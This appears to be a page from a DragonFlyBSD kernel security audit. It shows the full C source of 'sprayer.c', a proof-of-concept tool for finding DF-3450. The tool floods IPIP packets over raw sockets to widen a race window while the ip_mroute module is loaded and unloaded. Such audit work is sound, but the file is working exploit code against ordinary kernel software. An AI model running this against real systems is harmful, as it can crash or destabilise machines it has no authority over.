⬢ DragonFlyBSD Kernel Audit
DF-3450 / sprayer.c
← back to finding ↓ download raw
/*
 * DF-3450 sprayer: flood IP proto-4 (IPIP) packets to 127.0.0.1 so that
 * encap4_input() (sys/netinet/ip_encap.c:231) keeps reading and calling the
 * ipip_input hook (X_ipip_input in the ip_mroute KLD) while a parallel
 * loop kldloads/kldunloads ip_mroute.
 *
 * The N extra raw IPPROTO_IPV4 sockets make rip_input() (called by
 * X_ipip_input when no tunnel is configured) walk a long socket list per
 * packet, widening the in-module execution window for the unload race.
 * Receiving our own packets on those sockets also proves X_ipip_input ran.
 *
 * build: cc -O2 -o sprayer sprayer.c
 * usage: ./sprayer [nrecv] ; runs forever, prints stats every 100k sends
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static unsigned short
cksum(unsigned short *p, int len)
{
	unsigned long sum = 0;
	while (len > 1) { sum += *p++; len -= 2; }
	if (len) sum += *(unsigned char *)p;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return ~sum;
}

int
main(int argc, char **argv)
{
	struct sockaddr_in dst;
	struct { struct ip ip; char pad[16]; } pkt;
	int nrecv = argc > 1 ? atoi(argv[1]) : 96;
	int rx[512], tx, i, one = 1;
	unsigned long sent = 0, recvd = 0;
	char buf[2048];

	if (nrecv > 512) nrecv = 512;
	for (i = 0; i < nrecv; i++) {
		rx[i] = socket(AF_INET, SOCK_RAW, IPPROTO_IPV4);
		if (rx[i] < 0) { perror("rx socket"); exit(1); }
		fcntl(rx[i], F_SETFL, O_NONBLOCK);
	}
	tx = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (tx < 0) { perror("tx socket"); exit(1); }
	if (setsockopt(tx, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		{ perror("HDRINCL"); exit(1); }

	memset(&pkt, 0, sizeof(pkt));
	pkt.ip.ip_v = 4; pkt.ip.ip_hl = 5;
	pkt.ip.ip_tos = 0;
	pkt.ip.ip_len = htons(sizeof(pkt));
	pkt.ip.ip_id = 0;
	pkt.ip.ip_off = 0;
	pkt.ip.ip_ttl = 64;
	pkt.ip.ip_p = 4;			/* IPPROTO_IPV4 / IPIP */
	pkt.ip.ip_src.s_addr = inet_addr("127.0.0.1");
	pkt.ip.ip_dst.s_addr = inet_addr("127.0.0.1");
	pkt.ip.ip_sum = cksum((unsigned short *)&pkt, sizeof(pkt));

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_addr.s_addr = inet_addr("127.0.0.1");

	for (;;) {
		for (i = 0; i < 64; i++) {
			if (sendto(tx, &pkt, sizeof(pkt), 0,
			    (struct sockaddr *)&dst, sizeof(dst)) > 0)
				sent++;
		}
		/* drain a little: proves X_ipip_input->rip_input delivery and
		 * keeps rcvbufs churning (max in-module work per packet) */
		for (i = 0; i < nrecv; i += 8) {
			while (recv(rx[i], buf, sizeof(buf), MSG_DONTWAIT) > 0)
				recvd++;
		}
		if ((sent % 100000) < 64) {
			fprintf(stderr, "sprayer: sent=%lu recvd=%lu\n",
			    sent, recvd);
			/* refresh checksum in case stack fiddled */
			pkt.ip.ip_sum = 0;
			pkt.ip.ip_sum = cksum((unsigned short *)&pkt, sizeof(pkt));
		}
	}
}